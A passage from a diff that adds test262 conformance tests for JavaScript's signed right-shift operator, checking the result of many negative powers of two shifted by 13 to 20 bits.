+ $ERROR('#441: -16777216 >> 13 === -2048. Actual: ' + (-16777216 >> 13));
+}
+
+
+if (-33554432 >> 13 !== -4096) {
+ $ERROR('#442: -33554432 >> 13 === -4096. Actual: ' + (-33554432 >> 13));
+}
+
+
+if (-67108864 >> 13 !== -8192) {
+ $ERROR('#443: -67108864 >> 13 === -8192. Actual: ' + (-67108864 >> 13));
+}
+
+
+if (-134217728 >> 13 !== -16384) {
+ $ERROR('#444: -134217728 >> 13 === -16384. Actual: ' + (-134217728 >> 13));
+}
+
+
+if (-268435456 >> 13 !== -32768) {
+ $ERROR('#445: -268435456 >> 13 === -32768. Actual: ' + (-268435456 >> 13));
+}
+
+
+if (-536870912 >> 13 !== -65536) {
+ $ERROR('#446: -536870912 >> 13 === -65536. Actual: ' + (-536870912 >> 13));
+}
+
+
+if (-1073741824 >> 13 !== -131072) {
+ $ERROR('#447: -1073741824 >> 13 === -131072. Actual: ' + (-1073741824 >> 13));
+}
+
+
+if (-2147483648 >> 13 !== -262144) {
+ $ERROR('#448: -2147483648 >> 13 === -262144. Actual: ' + (-2147483648 >> 13));
+}
+
+
+if (-1 >> 14 !== -1) {
+ $ERROR('#449: -1 >> 14 === -1. Actual: ' + (-1 >> 14));
+}
+
+
+if (-2 >> 14 !== -1) {
+ $ERROR('#450: -2 >> 14 === -1. Actual: ' + (-2 >> 14));
+}
+
+
+if (-4 >> 14 !== -1) {
+ $ERROR('#451: -4 >> 14 === -1. Actual: ' + (-4 >> 14));
+}
+
+
+if (-8 >> 14 !== -1) {
+ $ERROR('#452: -8 >> 14 === -1. Actual: ' + (-8 >> 14));
+}
+
+
+if (-16 >> 14 !== -1) {
+ $ERROR('#453: -16 >> 14 === -1. Actual: ' + (-16 >> 14));
+}
+
+
+if (-32 >> 14 !== -1) {
+ $ERROR('#454: -32 >> 14 === -1. Actual: ' + (-32 >> 14));
+}
+
+
+if (-64 >> 14 !== -1) {
+ $ERROR('#455: -64 >> 14 === -1. Actual: ' + (-64 >> 14));
+}
+
+
+if (-128 >> 14 !== -1) {
+ $ERROR('#456: -128 >> 14 === -1. Actual: ' + (-128 >> 14));
+}
+
+
+if (-256 >> 14 !== -1) {
+ $ERROR('#457: -256 >> 14 === -1. Actual: ' + (-256 >> 14));
+}
+
+
+if (-512 >> 14 !== -1) {
+ $ERROR('#458: -512 >> 14 === -1. Actual: ' + (-512 >> 14));
+}
+
+
+if (-1024 >> 14 !== -1) {
+ $ERROR('#459: -1024 >> 14 === -1. Actual: ' + (-1024 >> 14));
+}
+
+
+if (-2048 >> 14 !== -1) {
+ $ERROR('#460: -2048 >> 14 === -1. Actual: ' + (-2048 >> 14));
+}
+
+
+if (-4096 >> 14 !== -1) {
+ $ERROR('#461: -4096 >> 14 === -1. Actual: ' + (-4096 >> 14));
+}
+
+
+if (-8192 >> 14 !== -1) {
+ $ERROR('#462: -8192 >> 14 === -1. Actual: ' + (-8192 >> 14));
+}
+
+
+if (-16384 >> 14 !== -1) {
+ $ERROR('#463: -16384 >> 14 === -1. Actual: ' + (-16384 >> 14));
+}
+
+
+if (-32768 >> 14 !== -2) {
+ $ERROR('#464: -32768 >> 14 === -2. Actual: ' + (-32768 >> 14));
+}
+
+
+if (-65536 >> 14 !== -4) {
+ $ERROR('#465: -65536 >> 14 === -4. Actual: ' + (-65536 >> 14));
+}
+
+
+if (-131072 >> 14 !== -8) {
+ $ERROR('#466: -131072 >> 14 === -8. Actual: ' + (-131072 >> 14));
+}
+
+
+if (-262144 >> 14 !== -16) {
+ $ERROR('#467: -262144 >> 14 === -16. Actual: ' + (-262144 >> 14));
+}
+
+
+if (-524288 >> 14 !== -32) {
+ $ERROR('#468: -524288 >> 14 === -32. Actual: ' + (-524288 >> 14));
+}
+
+
+if (-1048576 >> 14 !== -64) {
+ $ERROR('#469: -1048576 >> 14 === -64. Actual: ' + (-1048576 >> 14));
+}
+
+
+if (-2097152 >> 14 !== -128) {
+ $ERROR('#470: -2097152 >> 14 === -128. Actual: ' + (-2097152 >> 14));
+}
+
+
+if (-4194304 >> 14 !== -256) {
+ $ERROR('#471: -4194304 >> 14 === -256. Actual: ' + (-4194304 >> 14));
+}
+
+
+if (-8388608 >> 14 !== -512) {
+ $ERROR('#472: -8388608 >> 14 === -512. Actual: ' + (-8388608 >> 14));
+}
+
+
+if (-16777216 >> 14 !== -1024) {
+ $ERROR('#473: -16777216 >> 14 === -1024. Actual: ' + (-16777216 >> 14));
+}
+
+
+if (-33554432 >> 14 !== -2048) {
+ $ERROR('#474: -33554432 >> 14 === -2048. Actual: ' + (-33554432 >> 14));
+}
+
+
+if (-67108864 >> 14 !== -4096) {
+ $ERROR('#475: -67108864 >> 14 === -4096. Actual: ' + (-67108864 >> 14));
+}
+
+
+if (-134217728 >> 14 !== -8192) {
+ $ERROR('#476: -134217728 >> 14 === -8192. Actual: ' + (-134217728 >> 14));
+}
+
+
+if (-268435456 >> 14 !== -16384) {
+ $ERROR('#477: -268435456 >> 14 === -16384. Actual: ' + (-268435456 >> 14));
+}
+
+
+if (-536870912 >> 14 !== -32768) {
+ $ERROR('#478: -536870912 >> 14 === -32768. Actual: ' + (-536870912 >> 14));
+}
+
+
+if (-1073741824 >> 14 !== -65536) {
+ $ERROR('#479: -1073741824 >> 14 === -65536. Actual: ' + (-1073741824 >> 14));
+}
+
+
+if (-2147483648 >> 14 !== -131072) {
+ $ERROR('#480: -2147483648 >> 14 === -131072. Actual: ' + (-2147483648 >> 14));
+}
+
+
+if (-1 >> 15 !== -1) {
+ $ERROR('#481: -1 >> 15 === -1. Actual: ' + (-1 >> 15));
+}
+
+
+if (-2 >> 15 !== -1) {
+ $ERROR('#482: -2 >> 15 === -1. Actual: ' + (-2 >> 15));
+}
+
+
+if (-4 >> 15 !== -1) {
+ $ERROR('#483: -4 >> 15 === -1. Actual: ' + (-4 >> 15));
+}
+
+
+if (-8 >> 15 !== -1) {
+ $ERROR('#484: -8 >> 15 === -1. Actual: ' + (-8 >> 15));
+}
+
+
+if (-16 >> 15 !== -1) {
+ $ERROR('#485: -16 >> 15 === -1. Actual: ' + (-16 >> 15));
+}
+
+
+if (-32 >> 15 !== -1) {
+ $ERROR('#486: -32 >> 15 === -1. Actual: ' + (-32 >> 15));
+}
+
+
+if (-64 >> 15 !== -1) {
+ $ERROR('#487: -64 >> 15 === -1. Actual: ' + (-64 >> 15));
+}
+
+
+if (-128 >> 15 !== -1) {
+ $ERROR('#488: -128 >> 15 === -1. Actual: ' + (-128 >> 15));
+}
+
+
+if (-256 >> 15 !== -1) {
+ $ERROR('#489: -256 >> 15 === -1. Actual: ' + (-256 >> 15));
+}
+
+
+if (-512 >> 15 !== -1) {
+ $ERROR('#490: -512 >> 15 === -1. Actual: ' + (-512 >> 15));
+}
+
+
+if (-1024 >> 15 !== -1) {
+ $ERROR('#491: -1024 >> 15 === -1. Actual: ' + (-1024 >> 15));
+}
+
+
+if (-2048 >> 15 !== -1) {
+ $ERROR('#492: -2048 >> 15 === -1. Actual: ' + (-2048 >> 15));
+}
+
+
+if (-4096 >> 15 !== -1) {
+ $ERROR('#493: -4096 >> 15 === -1. Actual: ' + (-4096 >> 15));
+}
+
+
+if (-8192 >> 15 !== -1) {
+ $ERROR('#494: -8192 >> 15 === -1. Actual: ' + (-8192 >> 15));
+}
+
+
+if (-16384 >> 15 !== -1) {
+ $ERROR('#495: -16384 >> 15 === -1. Actual: ' + (-16384 >> 15));
+}
+
+
+if (-32768 >> 15 !== -1) {
+ $ERROR('#496: -32768 >> 15 === -1. Actual: ' + (-32768 >> 15));
+}
+
+
+if (-65536 >> 15 !== -2) {
+ $ERROR('#497: -65536 >> 15 === -2. Actual: ' + (-65536 >> 15));
+}
+
+
+if (-131072 >> 15 !== -4) {
+ $ERROR('#498: -131072 >> 15 === -4. Actual: ' + (-131072 >> 15));
+}
+
+
+if (-262144 >> 15 !== -8) {
+ $ERROR('#499: -262144 >> 15 === -8. Actual: ' + (-262144 >> 15));
+}
+
+
+if (-524288 >> 15 !== -16) {
+ $ERROR('#500: -524288 >> 15 === -16. Actual: ' + (-524288 >> 15));
+}
+
+
+if (-1048576 >> 15 !== -32) {
+ $ERROR('#501: -1048576 >> 15 === -32. Actual: ' + (-1048576 >> 15));
+}
+
+
+if (-2097152 >> 15 !== -64) {
+ $ERROR('#502: -2097152 >> 15 === -64. Actual: ' + (-2097152 >> 15));
+}
+
+
+if (-4194304 >> 15 !== -128) {
+ $ERROR('#503: -4194304 >> 15 === -128. Actual: ' + (-4194304 >> 15));
+}
+
+
+if (-8388608 >> 15 !== -256) {
+ $ERROR('#504: -8388608 >> 15 === -256. Actual: ' + (-8388608 >> 15));
+}
+
+
+if (-16777216 >> 15 !== -512) {
+ $ERROR('#505: -16777216 >> 15 === -512. Actual: ' + (-16777216 >> 15));
+}
+
+
+if (-33554432 >> 15 !== -1024) {
+ $ERROR('#506: -33554432 >> 15 === -1024. Actual: ' + (-33554432 >> 15));
+}
+
+
+if (-67108864 >> 15 !== -2048) {
+ $ERROR('#507: -67108864 >> 15 === -2048. Actual: ' + (-67108864 >> 15));
+}
+
+
+if (-134217728 >> 15 !== -4096) {
+ $ERROR('#508: -134217728 >> 15 === -4096. Actual: ' + (-134217728 >> 15));
+}
+
+
+if (-268435456 >> 15 !== -8192) {
+ $ERROR('#509: -268435456 >> 15 === -8192. Actual: ' + (-268435456 >> 15));
+}
+
+
+if (-536870912 >> 15 !== -16384) {
+ $ERROR('#510: -536870912 >> 15 === -16384. Actual: ' + (-536870912 >> 15));
+}
+
+
+if (-1073741824 >> 15 !== -32768) {
+ $ERROR('#511: -1073741824 >> 15 === -32768. Actual: ' + (-1073741824 >> 15));
+}
+
+
+if (-2147483648 >> 15 !== -65536) {
+ $ERROR('#512: -2147483648 >> 15 === -65536. Actual: ' + (-2147483648 >> 15));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T2.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T2.js
new file mode 100644
index 000000000..7077af853
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T2.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check x >> y operator in distinct points
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A4_T2.js
+ * @description ShiftExpression = 2^n - 1, n = 16...31
+ */
+
+//CHECK
+
+if (-1 >> 16 !== -1) {
+ $ERROR('#513: -1 >> 16 === -1. Actual: ' + (-1 >> 16));
+}
+
+
+if (-2 >> 16 !== -1) {
+ $ERROR('#514: -2 >> 16 === -1. Actual: ' + (-2 >> 16));
+}
+
+
+if (-4 >> 16 !== -1) {
+ $ERROR('#515: -4 >> 16 === -1. Actual: ' + (-4 >> 16));
+}
+
+
+if (-8 >> 16 !== -1) {
+ $ERROR('#516: -8 >> 16 === -1. Actual: ' + (-8 >> 16));
+}
+
+
+if (-16 >> 16 !== -1) {
+ $ERROR('#517: -16 >> 16 === -1. Actual: ' + (-16 >> 16));
+}
+
+
+if (-32 >> 16 !== -1) {
+ $ERROR('#518: -32 >> 16 === -1. Actual: ' + (-32 >> 16));
+}
+
+
+if (-64 >> 16 !== -1) {
+ $ERROR('#519: -64 >> 16 === -1. Actual: ' + (-64 >> 16));
+}
+
+
+if (-128 >> 16 !== -1) {
+ $ERROR('#520: -128 >> 16 === -1. Actual: ' + (-128 >> 16));
+}
+
+
+if (-256 >> 16 !== -1) {
+ $ERROR('#521: -256 >> 16 === -1. Actual: ' + (-256 >> 16));
+}
+
+
+if (-512 >> 16 !== -1) {
+ $ERROR('#522: -512 >> 16 === -1. Actual: ' + (-512 >> 16));
+}
+
+
+if (-1024 >> 16 !== -1) {
+ $ERROR('#523: -1024 >> 16 === -1. Actual: ' + (-1024 >> 16));
+}
+
+
+if (-2048 >> 16 !== -1) {
+ $ERROR('#524: -2048 >> 16 === -1. Actual: ' + (-2048 >> 16));
+}
+
+
+if (-4096 >> 16 !== -1) {
+ $ERROR('#525: -4096 >> 16 === -1. Actual: ' + (-4096 >> 16));
+}
+
+
+if (-8192 >> 16 !== -1) {
+ $ERROR('#526: -8192 >> 16 === -1. Actual: ' + (-8192 >> 16));
+}
+
+
+if (-16384 >> 16 !== -1) {
+ $ERROR('#527: -16384 >> 16 === -1. Actual: ' + (-16384 >> 16));
+}
+
+
+if (-32768 >> 16 !== -1) {
+ $ERROR('#528: -32768 >> 16 === -1. Actual: ' + (-32768 >> 16));
+}
+
+
+if (-65536 >> 16 !== -1) {
+ $ERROR('#529: -65536 >> 16 === -1. Actual: ' + (-65536 >> 16));
+}
+
+
+if (-131072 >> 16 !== -2) {
+ $ERROR('#530: -131072 >> 16 === -2. Actual: ' + (-131072 >> 16));
+}
+
+
+if (-262144 >> 16 !== -4) {
+ $ERROR('#531: -262144 >> 16 === -4. Actual: ' + (-262144 >> 16));
+}
+
+
+if (-524288 >> 16 !== -8) {
+ $ERROR('#532: -524288 >> 16 === -8. Actual: ' + (-524288 >> 16));
+}
+
+
+if (-1048576 >> 16 !== -16) {
+ $ERROR('#533: -1048576 >> 16 === -16. Actual: ' + (-1048576 >> 16));
+}
+
+
+if (-2097152 >> 16 !== -32) {
+ $ERROR('#534: -2097152 >> 16 === -32. Actual: ' + (-2097152 >> 16));
+}
+
+
+if (-4194304 >> 16 !== -64) {
+ $ERROR('#535: -4194304 >> 16 === -64. Actual: ' + (-4194304 >> 16));
+}
+
+
+if (-8388608 >> 16 !== -128) {
+ $ERROR('#536: -8388608 >> 16 === -128. Actual: ' + (-8388608 >> 16));
+}
+
+
+if (-16777216 >> 16 !== -256) {
+ $ERROR('#537: -16777216 >> 16 === -256. Actual: ' + (-16777216 >> 16));
+}
+
+
+if (-33554432 >> 16 !== -512) {
+ $ERROR('#538: -33554432 >> 16 === -512. Actual: ' + (-33554432 >> 16));
+}
+
+
+if (-67108864 >> 16 !== -1024) {
+ $ERROR('#539: -67108864 >> 16 === -1024. Actual: ' + (-67108864 >> 16));
+}
+
+
+if (-134217728 >> 16 !== -2048) {
+ $ERROR('#540: -134217728 >> 16 === -2048. Actual: ' + (-134217728 >> 16));
+}
+
+
+if (-268435456 >> 16 !== -4096) {
+ $ERROR('#541: -268435456 >> 16 === -4096. Actual: ' + (-268435456 >> 16));
+}
+
+
+if (-536870912 >> 16 !== -8192) {
+ $ERROR('#542: -536870912 >> 16 === -8192. Actual: ' + (-536870912 >> 16));
+}
+
+
+if (-1073741824 >> 16 !== -16384) {
+ $ERROR('#543: -1073741824 >> 16 === -16384. Actual: ' + (-1073741824 >> 16));
+}
+
+
+if (-2147483648 >> 16 !== -32768) {
+ $ERROR('#544: -2147483648 >> 16 === -32768. Actual: ' + (-2147483648 >> 16));
+}
+
+
+if (-1 >> 17 !== -1) {
+ $ERROR('#545: -1 >> 17 === -1. Actual: ' + (-1 >> 17));
+}
+
+
+if (-2 >> 17 !== -1) {
+ $ERROR('#546: -2 >> 17 === -1. Actual: ' + (-2 >> 17));
+}
+
+
+if (-4 >> 17 !== -1) {
+ $ERROR('#547: -4 >> 17 === -1. Actual: ' + (-4 >> 17));
+}
+
+
+if (-8 >> 17 !== -1) {
+ $ERROR('#548: -8 >> 17 === -1. Actual: ' + (-8 >> 17));
+}
+
+
+if (-16 >> 17 !== -1) {
+ $ERROR('#549: -16 >> 17 === -1. Actual: ' + (-16 >> 17));
+}
+
+
+if (-32 >> 17 !== -1) {
+ $ERROR('#550: -32 >> 17 === -1. Actual: ' + (-32 >> 17));
+}
+
+
+if (-64 >> 17 !== -1) {
+ $ERROR('#551: -64 >> 17 === -1. Actual: ' + (-64 >> 17));
+}
+
+
+if (-128 >> 17 !== -1) {
+ $ERROR('#552: -128 >> 17 === -1. Actual: ' + (-128 >> 17));
+}
+
+
+if (-256 >> 17 !== -1) {
+ $ERROR('#553: -256 >> 17 === -1. Actual: ' + (-256 >> 17));
+}
+
+
+if (-512 >> 17 !== -1) {
+ $ERROR('#554: -512 >> 17 === -1. Actual: ' + (-512 >> 17));
+}
+
+
+if (-1024 >> 17 !== -1) {
+ $ERROR('#555: -1024 >> 17 === -1. Actual: ' + (-1024 >> 17));
+}
+
+
+if (-2048 >> 17 !== -1) {
+ $ERROR('#556: -2048 >> 17 === -1. Actual: ' + (-2048 >> 17));
+}
+
+
+if (-4096 >> 17 !== -1) {
+ $ERROR('#557: -4096 >> 17 === -1. Actual: ' + (-4096 >> 17));
+}
+
+
+if (-8192 >> 17 !== -1) {
+ $ERROR('#558: -8192 >> 17 === -1. Actual: ' + (-8192 >> 17));
+}
+
+
+if (-16384 >> 17 !== -1) {
+ $ERROR('#559: -16384 >> 17 === -1. Actual: ' + (-16384 >> 17));
+}
+
+
+if (-32768 >> 17 !== -1) {
+ $ERROR('#560: -32768 >> 17 === -1. Actual: ' + (-32768 >> 17));
+}
+
+
+if (-65536 >> 17 !== -1) {
+ $ERROR('#561: -65536 >> 17 === -1. Actual: ' + (-65536 >> 17));
+}
+
+
+if (-131072 >> 17 !== -1) {
+ $ERROR('#562: -131072 >> 17 === -1. Actual: ' + (-131072 >> 17));
+}
+
+
+if (-262144 >> 17 !== -2) {
+ $ERROR('#563: -262144 >> 17 === -2. Actual: ' + (-262144 >> 17));
+}
+
+
+if (-524288 >> 17 !== -4) {
+ $ERROR('#564: -524288 >> 17 === -4. Actual: ' + (-524288 >> 17));
+}
+
+
+if (-1048576 >> 17 !== -8) {
+ $ERROR('#565: -1048576 >> 17 === -8. Actual: ' + (-1048576 >> 17));
+}
+
+
+if (-2097152 >> 17 !== -16) {
+ $ERROR('#566: -2097152 >> 17 === -16. Actual: ' + (-2097152 >> 17));
+}
+
+
+if (-4194304 >> 17 !== -32) {
+ $ERROR('#567: -4194304 >> 17 === -32. Actual: ' + (-4194304 >> 17));
+}
+
+
+if (-8388608 >> 17 !== -64) {
+ $ERROR('#568: -8388608 >> 17 === -64. Actual: ' + (-8388608 >> 17));
+}
+
+
+if (-16777216 >> 17 !== -128) {
+ $ERROR('#569: -16777216 >> 17 === -128. Actual: ' + (-16777216 >> 17));
+}
+
+
+if (-33554432 >> 17 !== -256) {
+ $ERROR('#570: -33554432 >> 17 === -256. Actual: ' + (-33554432 >> 17));
+}
+
+
+if (-67108864 >> 17 !== -512) {
+ $ERROR('#571: -67108864 >> 17 === -512. Actual: ' + (-67108864 >> 17));
+}
+
+
+if (-134217728 >> 17 !== -1024) {
+ $ERROR('#572: -134217728 >> 17 === -1024. Actual: ' + (-134217728 >> 17));
+}
+
+
+if (-268435456 >> 17 !== -2048) {
+ $ERROR('#573: -268435456 >> 17 === -2048. Actual: ' + (-268435456 >> 17));
+}
+
+
+if (-536870912 >> 17 !== -4096) {
+ $ERROR('#574: -536870912 >> 17 === -4096. Actual: ' + (-536870912 >> 17));
+}
+
+
+if (-1073741824 >> 17 !== -8192) {
+ $ERROR('#575: -1073741824 >> 17 === -8192. Actual: ' + (-1073741824 >> 17));
+}
+
+
+if (-2147483648 >> 17 !== -16384) {
+ $ERROR('#576: -2147483648 >> 17 === -16384. Actual: ' + (-2147483648 >> 17));
+}
+
+
+if (-1 >> 18 !== -1) {
+ $ERROR('#577: -1 >> 18 === -1. Actual: ' + (-1 >> 18));
+}
+
+
+if (-2 >> 18 !== -1) {
+ $ERROR('#578: -2 >> 18 === -1. Actual: ' + (-2 >> 18));
+}
+
+
+if (-4 >> 18 !== -1) {
+ $ERROR('#579: -4 >> 18 === -1. Actual: ' + (-4 >> 18));
+}
+
+
+if (-8 >> 18 !== -1) {
+ $ERROR('#580: -8 >> 18 === -1. Actual: ' + (-8 >> 18));
+}
+
+
+if (-16 >> 18 !== -1) {
+ $ERROR('#581: -16 >> 18 === -1. Actual: ' + (-16 >> 18));
+}
+
+
+if (-32 >> 18 !== -1) {
+ $ERROR('#582: -32 >> 18 === -1. Actual: ' + (-32 >> 18));
+}
+
+
+if (-64 >> 18 !== -1) {
+ $ERROR('#583: -64 >> 18 === -1. Actual: ' + (-64 >> 18));
+}
+
+
+if (-128 >> 18 !== -1) {
+ $ERROR('#584: -128 >> 18 === -1. Actual: ' + (-128 >> 18));
+}
+
+
+if (-256 >> 18 !== -1) {
+ $ERROR('#585: -256 >> 18 === -1. Actual: ' + (-256 >> 18));
+}
+
+
+if (-512 >> 18 !== -1) {
+ $ERROR('#586: -512 >> 18 === -1. Actual: ' + (-512 >> 18));
+}
+
+
+if (-1024 >> 18 !== -1) {
+ $ERROR('#587: -1024 >> 18 === -1. Actual: ' + (-1024 >> 18));
+}
+
+
+if (-2048 >> 18 !== -1) {
+ $ERROR('#588: -2048 >> 18 === -1. Actual: ' + (-2048 >> 18));
+}
+
+
+if (-4096 >> 18 !== -1) {
+ $ERROR('#589: -4096 >> 18 === -1. Actual: ' + (-4096 >> 18));
+}
+
+
+if (-8192 >> 18 !== -1) {
+ $ERROR('#590: -8192 >> 18 === -1. Actual: ' + (-8192 >> 18));
+}
+
+
+if (-16384 >> 18 !== -1) {
+ $ERROR('#591: -16384 >> 18 === -1. Actual: ' + (-16384 >> 18));
+}
+
+
+if (-32768 >> 18 !== -1) {
+ $ERROR('#592: -32768 >> 18 === -1. Actual: ' + (-32768 >> 18));
+}
+
+
+if (-65536 >> 18 !== -1) {
+ $ERROR('#593: -65536 >> 18 === -1. Actual: ' + (-65536 >> 18));
+}
+
+
+if (-131072 >> 18 !== -1) {
+ $ERROR('#594: -131072 >> 18 === -1. Actual: ' + (-131072 >> 18));
+}
+
+
+if (-262144 >> 18 !== -1) {
+ $ERROR('#595: -262144 >> 18 === -1. Actual: ' + (-262144 >> 18));
+}
+
+
+if (-524288 >> 18 !== -2) {
+ $ERROR('#596: -524288 >> 18 === -2. Actual: ' + (-524288 >> 18));
+}
+
+
+if (-1048576 >> 18 !== -4) {
+ $ERROR('#597: -1048576 >> 18 === -4. Actual: ' + (-1048576 >> 18));
+}
+
+
+if (-2097152 >> 18 !== -8) {
+ $ERROR('#598: -2097152 >> 18 === -8. Actual: ' + (-2097152 >> 18));
+}
+
+
+if (-4194304 >> 18 !== -16) {
+ $ERROR('#599: -4194304 >> 18 === -16. Actual: ' + (-4194304 >> 18));
+}
+
+
+if (-8388608 >> 18 !== -32) {
+ $ERROR('#600: -8388608 >> 18 === -32. Actual: ' + (-8388608 >> 18));
+}
+
+
+if (-16777216 >> 18 !== -64) {
+ $ERROR('#601: -16777216 >> 18 === -64. Actual: ' + (-16777216 >> 18));
+}
+
+
+if (-33554432 >> 18 !== -128) {
+ $ERROR('#602: -33554432 >> 18 === -128. Actual: ' + (-33554432 >> 18));
+}
+
+
+if (-67108864 >> 18 !== -256) {
+ $ERROR('#603: -67108864 >> 18 === -256. Actual: ' + (-67108864 >> 18));
+}
+
+
+if (-134217728 >> 18 !== -512) {
+ $ERROR('#604: -134217728 >> 18 === -512. Actual: ' + (-134217728 >> 18));
+}
+
+
+if (-268435456 >> 18 !== -1024) {
+ $ERROR('#605: -268435456 >> 18 === -1024. Actual: ' + (-268435456 >> 18));
+}
+
+
+if (-536870912 >> 18 !== -2048) {
+ $ERROR('#606: -536870912 >> 18 === -2048. Actual: ' + (-536870912 >> 18));
+}
+
+
+if (-1073741824 >> 18 !== -4096) {
+ $ERROR('#607: -1073741824 >> 18 === -4096. Actual: ' + (-1073741824 >> 18));
+}
+
+
+if (-2147483648 >> 18 !== -8192) {
+ $ERROR('#608: -2147483648 >> 18 === -8192. Actual: ' + (-2147483648 >> 18));
+}
+
+
+if (-1 >> 19 !== -1) {
+ $ERROR('#609: -1 >> 19 === -1. Actual: ' + (-1 >> 19));
+}
+
+
+if (-2 >> 19 !== -1) {
+ $ERROR('#610: -2 >> 19 === -1. Actual: ' + (-2 >> 19));
+}
+
+
+if (-4 >> 19 !== -1) {
+ $ERROR('#611: -4 >> 19 === -1. Actual: ' + (-4 >> 19));
+}
+
+
+if (-8 >> 19 !== -1) {
+ $ERROR('#612: -8 >> 19 === -1. Actual: ' + (-8 >> 19));
+}
+
+
+if (-16 >> 19 !== -1) {
+ $ERROR('#613: -16 >> 19 === -1. Actual: ' + (-16 >> 19));
+}
+
+
+if (-32 >> 19 !== -1) {
+ $ERROR('#614: -32 >> 19 === -1. Actual: ' + (-32 >> 19));
+}
+
+
+if (-64 >> 19 !== -1) {
+ $ERROR('#615: -64 >> 19 === -1. Actual: ' + (-64 >> 19));
+}
+
+
+if (-128 >> 19 !== -1) {
+ $ERROR('#616: -128 >> 19 === -1. Actual: ' + (-128 >> 19));
+}
+
+
+if (-256 >> 19 !== -1) {
+ $ERROR('#617: -256 >> 19 === -1. Actual: ' + (-256 >> 19));
+}
+
+
+if (-512 >> 19 !== -1) {
+ $ERROR('#618: -512 >> 19 === -1. Actual: ' + (-512 >> 19));
+}
+
+
+if (-1024 >> 19 !== -1) {
+ $ERROR('#619: -1024 >> 19 === -1. Actual: ' + (-1024 >> 19));
+}
+
+
+if (-2048 >> 19 !== -1) {
+ $ERROR('#620: -2048 >> 19 === -1. Actual: ' + (-2048 >> 19));
+}
+
+
+if (-4096 >> 19 !== -1) {
+ $ERROR('#621: -4096 >> 19 === -1. Actual: ' + (-4096 >> 19));
+}
+
+
+if (-8192 >> 19 !== -1) {
+ $ERROR('#622: -8192 >> 19 === -1. Actual: ' + (-8192 >> 19));
+}
+
+
+if (-16384 >> 19 !== -1) {
+ $ERROR('#623: -16384 >> 19 === -1. Actual: ' + (-16384 >> 19));
+}
+
+
+if (-32768 >> 19 !== -1) {
+ $ERROR('#624: -32768 >> 19 === -1. Actual: ' + (-32768 >> 19));
+}
+
+
+if (-65536 >> 19 !== -1) {
+ $ERROR('#625: -65536 >> 19 === -1. Actual: ' + (-65536 >> 19));
+}
+
+
+if (-131072 >> 19 !== -1) {
+ $ERROR('#626: -131072 >> 19 === -1. Actual: ' + (-131072 >> 19));
+}
+
+
+if (-262144 >> 19 !== -1) {
+ $ERROR('#627: -262144 >> 19 === -1. Actual: ' + (-262144 >> 19));
+}
+
+
+if (-524288 >> 19 !== -1) {
+ $ERROR('#628: -524288 >> 19 === -1. Actual: ' + (-524288 >> 19));
+}
+
+
+if (-1048576 >> 19 !== -2) {
+ $ERROR('#629: -1048576 >> 19 === -2. Actual: ' + (-1048576 >> 19));
+}
+
+
+if (-2097152 >> 19 !== -4) {
+ $ERROR('#630: -2097152 >> 19 === -4. Actual: ' + (-2097152 >> 19));
+}
+
+
+if (-4194304 >> 19 !== -8) {
+ $ERROR('#631: -4194304 >> 19 === -8. Actual: ' + (-4194304 >> 19));
+}
+
+
+if (-8388608 >> 19 !== -16) {
+ $ERROR('#632: -8388608 >> 19 === -16. Actual: ' + (-8388608 >> 19));
+}
+
+
+if (-16777216 >> 19 !== -32) {
+ $ERROR('#633: -16777216 >> 19 === -32. Actual: ' + (-16777216 >> 19));
+}
+
+
+if (-33554432 >> 19 !== -64) {
+ $ERROR('#634: -33554432 >> 19 === -64. Actual: ' + (-33554432 >> 19));
+}
+
+
+if (-67108864 >> 19 !== -128) {
+ $ERROR('#635: -67108864 >> 19 === -128. Actual: ' + (-67108864 >> 19));
+}
+
+
+if (-134217728 >> 19 !== -256) {
+ $ERROR('#636: -134217728 >> 19 === -256. Actual: ' + (-134217728 >> 19));
+}
+
+
+if (-268435456 >> 19 !== -512) {
+ $ERROR('#637: -268435456 >> 19 === -512. Actual: ' + (-268435456 >> 19));
+}
+
+
+if (-536870912 >> 19 !== -1024) {
+ $ERROR('#638: -536870912 >> 19 === -1024. Actual: ' + (-536870912 >> 19));
+}
+
+
+if (-1073741824 >> 19 !== -2048) {
+ $ERROR('#639: -1073741824 >> 19 === -2048. Actual: ' + (-1073741824 >> 19));
+}
+
+
+if (-2147483648 >> 19 !== -4096) {
+ $ERROR('#640: -2147483648 >> 19 === -4096. Actual: ' + (-2147483648 >> 19));
+}
+
+
+if (-1 >> 20 !== -1) {
+ $ERROR('#641: -1 >> 20 === -1. Actual: ' + (-1 >> 20));
+}
+
+
+if (-2 >> 20 !== -1) {
+ $ERROR('#642: -2 >> 20 === -1. Actual: ' + (-2 >> 20));
+}
+
+
+if (-4 >> 20 !== -1) {
+ $ERROR('#643: -4 >> 20 === -1. Actual: ' + (-4 >> 20));
+}
+
+
+if (-8 >> 20 !== -1) {
+ $ERROR('#644: -8 >> 20 === -1. Actual: ' + (-8 >> 20));
+}
+
+
+if (-16 >> 20 !== -1) {
+ $ERROR('#645: -16 >> 20 === -1. Actual: ' + (-16 >> 20));
+}
+
+
+if (-32 >> 20 !== -1) {
+ $ERROR('#646: -32 >> 20 === -1. Actual: ' + (-32 >> 20));
+}
+
+
+if (-64 >> 20 !== -1) {
+ $ERROR('#647: -64 >> 20 === -1. Actual: ' + (-64 >> 20));
+}
+
+
+if (-128 >> 20 !== -1) {
+ $ERROR('#648: -128 >> 20 === -1. Actual: ' + (-128 >> 20));
+}
+
+
+if (-256 >> 20 !== -1) {
+ $ERROR('#649: -256 >> 20 === -1. Actual: ' + (-256 >> 20));
+}
+
+
+if (-512 >> 20 !== -1) {
+ $ERROR('#650: -512 >> 20 === -1. Actual: ' + (-512 >> 20));
+}
+
+
+if (-1024 >> 20 !== -1) {
+ $ERROR('#651: -1024 >> 20 === -1. Actual: ' + (-1024 >> 20));
+}
+
+
+if (-2048 >> 20 !== -1) {
+ $ERROR('#652: -2048 >> 20 === -1. Actual: ' + (-2048 >> 20));
+}
+
+
+if (-4096 >> 20 !== -1) {
+ $ERROR('#653: -4096 >> 20 === -1. Actual: ' + (-4096 >> 20));
+}
+
+
+if (-8192 >> 20 !== -1) {
